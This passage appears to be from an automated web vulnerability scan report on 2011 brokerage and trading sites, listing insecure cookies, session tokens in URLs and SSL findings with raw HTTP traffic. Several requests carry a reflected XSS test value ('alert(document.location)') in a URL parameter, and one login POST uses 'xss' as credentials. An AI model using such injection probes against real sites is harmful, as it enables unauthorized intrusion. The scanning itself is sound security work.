Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OXb5a37%0aalert(document.location)//18aaa9ddc45
Cookie: TLTHID=0CB03A254689E5598130BFBF7D2A396D

Response

HTTP/1.1 200 OK
Content-Length: 13213
Content-Type: text/css
Last-Modified: Tue, 23 Nov 2010 16:59:49 GMT
Accept-Ranges: bytes
ETag: "f74a6d62f8bcb1:fb1"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=392D4AC8455569B192DA4CA32E2368FD; Path=/; Domain=.optionsxpress.com
Set-Cookie: TLTSID=392D4AC8455569B192DA4CA32E2368FD; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:33:29 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

/*
   Purpose:    Styles for the new account process. Shared for all sites.
   Created by: Shawn Roser
   Date:        2/9/2005
*/

/* Style Redefinitions */

/*body { background: #EBEBEB; text-align: ce
...[SNIP]...

6.45. https://account.optionsxpress.com/inc/s_code.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/s_code.js

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

TLTHID=6A9CD6494BF18A25AD37E2AC6CC8ACAC; Path=/; Domain=.optionsxpress.com
TLTSID=6A9CD6494BF18A25AD37E2AC6CC8ACAC; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /inc/s_code.js HTTP/1.1
Host: account.optionsxpress.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OXb5a37%0aalert(document.location)//18aaa9ddc45
Cookie: TLTHID=0CB03A254689E5598130BFBF7D2A396D

Response

HTTP/1.1 200 OK
Content-Length: 40455
Content-Type: application/x-javascript
Last-Modified: Tue, 07 Jun 2011 15:21:04 GMT
Accept-Ranges: bytes
ETag: "0b0f8832625cc1:eba"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=6A9CD6494BF18A25AD37E2AC6CC8ACAC; Path=/; Domain=.optionsxpress.com
Set-Cookie: TLTSID=6A9CD6494BF18A25AD37E2AC6CC8ACAC; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:33:30 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

/* global JS methods */
Array.prototype.indexOf = function (obj) {
   for (var i = 0; i < this.length; i++) {
       if (this[i] == obj) return i;
   }
   return -1;
}
Array.prototype.has = function (obj)
...[SNIP]...

6.46. https://adwords.google.com/um/StartNewLogin previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://adwords.google.com
Path:	/um/StartNewLogin

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

SAG=EXPIRED;Path=/;Expires=Mon, 01-Jan-1990 00:00:00 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /um/StartNewLogin HTTP/1.1
Host: adwords.google.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Moved Temporarily
Set-Cookie: SAG=EXPIRED;Path=/;Expires=Mon, 01-Jan-1990 00:00:00 GMT
Location: https://www.google.com/accounts/ServiceLogin?service=adwords&hl=en&ltmpl=adwords&passive=true&ifr=false&alwf=true&continue=https://adwords.google.com/um/gaiaauth?apt%3DNone
X-Invoke-Duration: 11
Content-Type: text/html; charset=UTF-8
Date: Thu, 08 Sep 2011 19:45:19 GMT
Expires: Thu, 08 Sep 2011 19:45:19 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Connection: close

<HTML>
<HEAD>
<TITLE>Moved Temporarily</TITLE>
</HEAD>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Moved Temporarily</H1>
The document has moved <A HREF="https://www.google.com/accounts/ServiceLogin?s
...[SNIP]...

6.47. https://icewebinar.webex.com/icewebinar/lsr.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://icewebinar.webex.com
Path:	/icewebinar/lsr.php

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

galaxye_wl=R2995082818; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /icewebinar/lsr.php HTTP/1.1
Host: icewebinar.webex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:45:21 GMT
Server: Apache
Set-Cookie: galaxye_wl=R2995082818; path=/
Cache-Control: no-cache
Pragma: No-cache
Content-Length: 771
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="CAO DSP COR CURo ADMo DEVo TAIo CONo OUR BUS IND PHY ONL UNI PUR COM NAV DEM STA", policyref="/w3c/p3p.xml"
P3P: CP="CAO DSP COR CURo ADMo DEVo TAIo CONo OUR BUS IND PHY ONL UNI PUR COM NAV DEM STA", policyref="/w3c/p3p.xml"
P3P: CP="CAO DSP COR CURo ADMo DEVo TAIo CONo OUR BUS IND PHY ONL UNI PUR COM NAV DEM STA", policyref="/w3c/p3p.xml"
X-Powered-By: Servlet/2.4 JSP/2.0
Connection: close
Content-Type: text/html

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta name="description" content="6">
<base href="https://icewebinar.webex.com/mw0306ld/mywebex/jsp/com
...[SNIP]...

6.48. https://interactivebrokers.webex.com/interactivebrokers/lsr.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://interactivebrokers.webex.com
Path:	/interactivebrokers/lsr.php

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

NSC_kkkbwxm=0afc54500899;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /interactivebrokers/lsr.php HTTP/1.1
Host: interactivebrokers.webex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:08 GMT
Server: Apache
Pragma: No-cache
Content-Length: 797
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="CAO DSP COR CURo ADMo DEVo TAIo CONo OUR BUS IND PHY ONL UNI PUR COM NAV DEM STA", policyref="/w3c/p3p.xml"
P3P: CP="CAO DSP COR CURo ADMo DEVo TAIo CONo OUR BUS IND PHY ONL UNI PUR COM NAV DEM STA", policyref="/w3c/p3p.xml"
P3P: CP="CAO DSP COR CURo ADMo DEVo TAIo CONo OUR BUS IND PHY ONL UNI PUR COM NAV DEM STA", policyref="/w3c/p3p.xml"
Cache-Control: no-cache
Set-Cookie: NSC_kkkbwxm=0afc54500899;path=/
Connection: close
Content-Type: text/html

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta name="description" content="5">
<base href="https://interactivebrokers.webex.com/mw0306lb/mywebex
...[SNIP]...

6.49. https://interactivebrokers.webex.com/interactivebrokers/onstage/g.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://interactivebrokers.webex.com
Path:	/interactivebrokers/onstage/g.php

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

NSC_kkkbwxm=0afc54500899;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /interactivebrokers/onstage/g.php HTTP/1.1
Host: interactivebrokers.webex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Moved Temporarily
Date: Thu, 08 Sep 2011 19:47:08 GMT
Server: Apache
Pragma: No-cache
Location: https://interactivebrokers.webex.com/mw0306lb/mywebex/default.do?nomenu=true&siteurl=interactivebrokers&service=6&main_url=https%3A%2F%2Finteractivebrokers.webex.com%2Fec0605lb%2Feventcenter%2Fevent%2FeventAction.do%3FtheAction%3Ddetail%26confViewID%3D-1%26siteurl%3Dinteractivebrokers%26%26%26
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="CAO DSP COR CURo ADMo DEVo TAIo CONo OUR BUS IND PHY ONL UNI PUR COM NAV DEM STA", policyref="/w3c/p3p.xml"
P3P: CP="CAO DSP COR CURo ADMo DEVo TAIo CONo OUR BUS IND PHY ONL UNI PUR COM NAV DEM STA", policyref="/w3c/p3p.xml"
Cache-Control: no-cache
Set-Cookie: NSC_kkkbwxm=0afc54500899;path=/
Connection: close
Content-Type: text/html
Content-Length: 935

<html><head><title>302 Moved Temporarily</title></head>
<body bgcolor="#FFFFFF">
<p>This document you requested has moved temporarily.</p>
<p>It's now at <a href="https://interactivebrokers.webex.c
...[SNIP]...

6.50. https://www.cqgtrader.com/Languages/USEng/main.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.cqgtrader.com
Path:	/Languages/USEng/main.asp

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

ClientState=TraderID=&PrvLbl=cqg&IsLoggedOn=False&SQLSID=&StyleSheet=%2FLanguages%2FUSEng%2FPrvLbl%2Fcqg%2Fstylesheet%2Ecss&EP=cqg&Language=USEng&attempt=0&Disconnected=False&OSLastUpdate=0&LoggedOn=False&OSDeletionOccured=0&LocalAccounts=False; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /Languages/USEng/main.asp HTTP/1.1
Host: www.cqgtrader.com
Connection: keep-alive
Referer: http://www.efutures.com/services/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PrivateLabel=WebSite=CQG+Web+Trader&CustPhone=720%2D904%2D2980; ClientState=TraderID=&PrvLbl=cqg&IsLoggedOn=False&SQLSID=&StyleSheet=%2FLanguages%2FUSEng%2FPrvLbl%2Fcqg%2Fstylesheet%2Ecss&EP=cqg&Language=USEng&attempt=0&Disconnected=False&OSLastUpdate=0&LoggedOn=False&OSDeletionOccured=0&LocalAccounts=False

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:38:24 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON DSP CURa ADMa DEVa OUR IND CNT PRE"
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
Content-Length: 1235
Content-Type: text/html
Expires: Thu, 08 Sep 2011 19:37:24 GMT
Set-Cookie: ClientState=TraderID=&PrvLbl=cqg&IsLoggedOn=False&SQLSID=&StyleSheet=%2FLanguages%2FUSEng%2FPrvLbl%2Fcqg%2Fstylesheet%2Ecss&EP=cqg&Language=USEng&attempt=0&Disconnected=False&OSLastUpdate=0&LoggedOn=False&OSDeletionOccured=0&LocalAccounts=False; path=/
Cache-control: private, no-cache

<HTML>
<HEAD>
<META HTTP-EQUIV="content-type" CONTENT="text/html; charset=utf-8">
<TITLE>CQG Web Trader</TITLE>
<SCRIPT>
   if (navigator.appName != "Microsoft Internet Explorer")
   {
       document
...[SNIP]...

6.51. https://www.optionsxpress.com/downloads/financial_services_guide.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.optionsxpress.com
Path:	/downloads/financial_services_guide.pdf

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

TLTHID=D480F472402E51465C012E9BFA1894F1; Path=/; Domain=.optionsxpress.com
TLTCNT=DAWEB290000000000191854

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /downloads/financial_services_guide.pdf HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Length: 18626
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Set-Cookie: TLTHID=D480F472402E51465C012E9BFA1894F1; Path=/; Domain=.optionsxpress.com
HostName: DAWEB29
Set-Cookie: TLTCNT=DAWEB290000000000191854
Date: Thu, 08 Sep 2011 19:47:35 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title value="WC@FIRMNAME">optionsXpress | We're sorry but that request canno
...[SNIP]...

6.52. https://www.optionsxpress.com/login.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.optionsxpress.com
Path:	/login.asp

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

TLTHID=1B1DD000453D0D2ED80148A6B79D7F5A; Path=/; Domain=.optionsxpress.com
TLTCNT=DAWEB230000000000085881

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /login.asp HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Object moved
Cache-Control: private
Content-Length: 164
Content-Type: text/html
Expires: Thu, 08 Sep 2011 19:45:54 GMT
Location: https://www.optionsxpress.com/login.asp?r=1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=1B1DD000453D0D2ED80148A6B79D7F5A; Path=/; Domain=.optionsxpress.com
HostName: DAWEB23
Set-Cookie: TLTCNT=DAWEB230000000000085881
Date: Thu, 08 Sep 2011 19:46:54 GMT
Connection: close

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="https://www.optionsxpress.com/login.asp?r=1">here</a>.</body>

6.53. https://www.pfgboss.com/Default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.pfgboss.com
Path:	/Default.aspx

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

DotNetNukeAnonymous=ccf6be08-57ee-40a8-b475-8d38a127586f; expires=Thu, 08-Sep-2011 20:07:44 GMT; path=/; HttpOnly

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /Default.aspx HTTP/1.1
Host: www.pfgboss.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

6.54. https://www.secureclient5.ranweb.com/login/ranweb.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.secureclient5.ranweb.com
Path:	/login/ranweb.asp

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

ran=%7B84DFE788%2DCFC2%2D4B74%2DA728%2D228B54CE7B57%7D; path=/login

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /login/ranweb.asp?ConfigSelect=5003&run=5003&ranApplication=RANorder&applayoutid=517&DANactionid=661&O_IL=true&O_VR=3 HTTP/1.1
Host: www.secureclient5.ranweb.com
Connection: keep-alive
Referer: https://www.secureclient5.ranweb.com/login/login.asp?firm=eft
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: rancookietest=rantestvalue

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:38:16 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html
Set-Cookie: ran=%7B84DFE788%2DCFC2%2D4B74%2DA728%2D228B54CE7B57%7D; path=/login
Cache-control: private
Content-Length: 2199

<body><script language='javascript' src='Inquiry.js'></script><script language='javascript' src='KeySupport.js'></script><form name='RANform' method='post' action='ranWeb.asp'><input type='hidden' val
...[SNIP]...

7. Session token in URL previous next
There are 5 instances of this issue:

https://account.optionsxpress.com/inc/interface.js
https://cwt1.interactivebrokers.com/MT3G/servlet/LoginS
http://optionsxpress.tt.omtrdc.net/m2/optionsxpress/mbox/standard
https://www.interactivebrokers.com/Universal/servlet/AccountAccess.Logout
https://www.interactivebrokers.com/cstools/ib_app_help/

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

7.1. https://account.optionsxpress.com/inc/interface.js previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://account.optionsxpress.com
Path:	/inc/interface.js

Issue detail

The response contains the following links that appear to contain session tokens:

https://account.optionsxpress.com/OXNetAccnt/welcome/risks/margin_guidelines.aspx?SESSIONID=' + s + '&ticker=' + symbol + '
https://account.optionsxpress.com/OXNetTools/Charts/charts.aspx?SESSIONID=' + s + '&SYMBOL=' + symbol + '&SnapJava=stream
https://account.optionsxpress.com/oxnettools/charts/snapcharts.aspx.asp?SESSIONID=' + s + '&SYMBOL=' + symbol + '&SnapJava=snap
https://account.optionsxpress.com/oxnettools/charts/snapcharts.aspx?SESSIONID=' + s + '&SYMBOL=' + symbol + '&SnapJava=snap

Request

GET /inc/interface.js HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; TLTHID=758690FA4AB663400EE3B482D991146F

Response

HTTP/1.1 200 OK
Content-Length: 60338
Content-Type: application/x-javascript
Last-Modified: Tue, 03 Aug 2010 21:34:06 GMT
Accept-Ranges: bytes
ETag: "87faba995333cb1:fb1"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=BA882906446E0B88F4957ABDDD9DED0C; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:20 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

// DM - 7/29/05 **** This file contains functions mainly used by designers (open windows, manipulate GUI elements, etc.)
// Ref this file only on pages that need one of these functions.

// Globa
...[SNIP]...
<div id="subdrop1" style="visibility:hidden;position:absolute;"><a href="/OXNetTools/Charts/charts.aspx?SESSIONID=' + s + '&SYMBOL=' + symbol + '&SnapJava=stream" target="'+fTarget+'">Streaming</a><a href="/oxnettools/charts/snapcharts.aspx?SESSIONID=' + s + '&SYMBOL=' + symbol + '&SnapJava=snap" class="last" target="'+fTarget+'">Basic</a></div>';
   links[2]='<a href="/OXNetTools/Charts/charts.aspx?SESSIONID=' + s + '&SYMBOL=' + symbol + '&SnapJava=stream" target="'+fTarget+'">Streaming</a>';
   links[3]='<a href="/oxnettools/charts/snapcharts.aspx?SESSIONID=' + s + '&SYMBOL=' + symbol + '&SnapJava=snap" target="'+fTarget+'">Basic</a>
...[SNIP]...
</a>';
   links[10]='<a href="/OXNetAccnt/welcome/risks/margin_guidelines.aspx?SESSIONID=' + s + '&ticker=' + symbol + '" target="'+fTarget+'">Margin</a>
...[SNIP]...
<div id="subdrop1" style="visibility:hidden;position:absolute;"><a href="/OXNetTools/Charts/charts.aspx?SESSIONID=' + s + '&SYMBOL=' + symbol + '&SnapJava=stream">Streaming</a><a href="/oxnettools/charts/snapcharts.aspx?SESSIONID=' + s + '&SYMBOL=' + symbol + '&SnapJava=snap" class="last">Basic</a></div>';
   links[20]='<a href="/OXNetTools/Charts/charts.aspx?SESSIONID=' + s + '&SYMBOL=' + symbol + '&SnapJava=stream">Streaming</a>';
   links[21]='<a href="/oxnettools/charts/snapcharts.aspx.asp?SESSIONID=' + s + '&SYMBOL=' + symbol + '&SnapJava=snap">Basic</a>
...[SNIP]...
</a>';
   links[23]='<a href="/OXNetAccnt/welcome/risks/margin_guidelines.aspx?SESSIONID=' + s + '&ticker=' + symbol + '">Margin</a>
...[SNIP]...
<div id="quoteFrameMoreMenu">'+links[8];
           //rowName[1]=links[38];
           rowName[1]='<a href="/OXNetTools/Charts/charts.aspx?SESSIONID=' + s + '&SYMBOL=' + symbol + '&SnapJava=stream" target="'+fTarget+'">Streaming Charts</a>
...[SNIP]...

7.2. https://cwt1.interactivebrokers.com/MT3G/servlet/LoginS previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://cwt1.interactivebrokers.com
Path:	/MT3G/servlet/LoginS

Issue detail

The URL in the request appears to contain a session token within the query string:

https://cwt1.interactivebrokers.com/MT3G/servlet/LoginS;jsessionid=758F62D39C87C4B1FF77534538503C91.cwt2?factor=338946663

Request

POST /MT3G/servlet/LoginS;jsessionid=758F62D39C87C4B1FF77534538503C91.cwt2?factor=338946663 HTTP/1.1
Host: cwt1.interactivebrokers.com
Connection: keep-alive
Referer: https://cwt1.interactivebrokers.com/MT3G/servlet/LoginS
Content-Length: 26
Cache-Control: max-age=0
Origin: https://cwt1.interactivebrokers.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=758F62D39C87C4B1FF77534538503C91.cwt2; ib=googlead; web=1059282; XYZAB_AM.LOGIN=; XYZAB=; URL_PARAM=actiongetProps=getProps&language=en&propFile=SSO_Login_v1

user_name=xss&password=xss

Response

7.3. http://optionsxpress.tt.omtrdc.net/m2/optionsxpress/mbox/standard previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://optionsxpress.tt.omtrdc.net
Path:	/m2/optionsxpress/mbox/standard

Issue detail

The URL in the request appears to contain a session token within the query string:

http://optionsxpress.tt.omtrdc.net/m2/optionsxpress/mbox/standard?mboxHost=www.optionsxpress.com&mboxSession=1315527919598-875378&mboxPage=1315527919598-875378&screenHeight=1200&screenWidth=1920&browserWidth=1266&browserHeight=984&browserTimeOffset=-300&colorDepth=16&mboxCount=1&mbox=ox_lp_options_global&mboxId=0&mboxTime=1315509919623&mboxURL=http%3A%2F%2Fwww.optionsxpress.com%2Fpromos%2Fexperience_an_options_specialist.aspx%3Fintcmp%3Dlp_sales_futures%26cmpid%3Dgsus23305007%26ef_id%3DzqROZUBXyFQAAIdR%3A20110908192437%3As&mboxReferrer=http%3A%2F%2Fwww.google.com%2Fsearch%3Fsourceid%3Dchrome%26ie%3DUTF-8%26q%3Dfutures%2Btrading&mboxVersion=39

Request

GET /m2/optionsxpress/mbox/standard?mboxHost=www.optionsxpress.com&mboxSession=1315527919598-875378&mboxPage=1315527919598-875378&screenHeight=1200&screenWidth=1920&browserWidth=1266&browserHeight=984&browserTimeOffset=-300&colorDepth=16&mboxCount=1&mbox=ox_lp_options_global&mboxId=0&mboxTime=1315509919623&mboxURL=http%3A%2F%2Fwww.optionsxpress.com%2Fpromos%2Fexperience_an_options_specialist.aspx%3Fintcmp%3Dlp_sales_futures%26cmpid%3Dgsus23305007%26ef_id%3DzqROZUBXyFQAAIdR%3A20110908192437%3As&mboxReferrer=http%3A%2F%2Fwww.google.com%2Fsearch%3Fsourceid%3Dchrome%26ie%3DUTF-8%26q%3Dfutures%2Btrading&mboxVersion=39 HTTP/1.1
Host: optionsxpress.tt.omtrdc.net
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi_holtihx7Bhabx7Dhx7F=[CS]v4|2730A37085079998-400001008005E291|4E6146E0[CE]

Response

HTTP/1.1 200 OK
pragma: no-cache
Content-Type: text/javascript
Content-Length: 15627
Date: Thu, 08 Sep 2011 19:24:42 GMT
Server: Test & Target

var mboxCurrent=mboxFactories.get('default').get('ox_lp_options_global',0);mboxCurrent.setEventTime('include.start');document.write('<div style="visibility: hidden; display: none" id="mboxImported-def
...[SNIP]...

7.4. https://www.interactivebrokers.com/Universal/servlet/AccountAccess.Logout previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www.interactivebrokers.com
Path:	/Universal/servlet/AccountAccess.Logout

Issue detail

The URL in the request appears to contain a session token within the query string:

https://www.interactivebrokers.com/Universal/servlet/AccountAccess.Logout;jsessionid=54D71E83ABB03FD58EA41BA2BB7B8355.www3

Request

GET /Universal/servlet/AccountAccess.Logout;jsessionid=54D71E83ABB03FD58EA41BA2BB7B8355.www3 HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 08 Sep 2011 19:49:02 GMT
Server: Apache
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=C60781F9AA7215C818780FF42B0C3387.www3; Path=/Universal; Secure
Set-Cookie: JSESSIONID=867E3A2969A1B7AC4B17AEA673304A9C.www3; Path=/Universal; Secure
Set-Cookie: JSESSIONID=46BC11DD415F2D363F6025F219DE210D.www3; Path=/Universal; Secure
Content-Language: en
Content-Length: 16504
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 T
...[SNIP]...

7.5. https://www.interactivebrokers.com/cstools/ib_app_help/ previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www.interactivebrokers.com
Path:	/cstools/ib_app_help/

Issue detail

The URL in the request appears to contain a session token within the query string:

https://www.interactivebrokers.com/cstools/ib_app_help/;jsessionid=54D71E83ABB03FD58EA41BA2BB7B8355.www3?UserName=&AccountNo=&taxId=&lang=en&source=APP&context=&priority=&location=PRE_REG:1000&custType=

Request

GET /cstools/ib_app_help/;jsessionid=54D71E83ABB03FD58EA41BA2BB7B8355.www3?UserName=&AccountNo=&taxId=&lang=en&source=APP&context=&priority=&location=PRE_REG:1000&custType= HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Thu, 08 Sep 2011 19:49:04 GMT
Server: Apache
Connection: close
Content-Type: text/html
Content-Length: 35821

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Interact
...[SNIP]...

8. SSL certificate previous next
There are 23 instances of this issue:

https://cwt1.interactivebrokers.com/
https://www.barchart.com/
https://www.cqgtrader.com/
https://www.efutures.com/
https://www.interactivebrokers.com/
https://account.optionsxpress.com/
https://adwords.google.com/
https://docs.google.com/
https://icewebinar.webex.com/
https://interactivebrokers.webex.com/
https://mail.google.com/
https://online.optionsxpress.ca/
https://online.optionsxpress.com.sg/
https://online.optionsxpress.eu/
https://onlineint.optionsxpress.com/
https://seal.verisign.com/
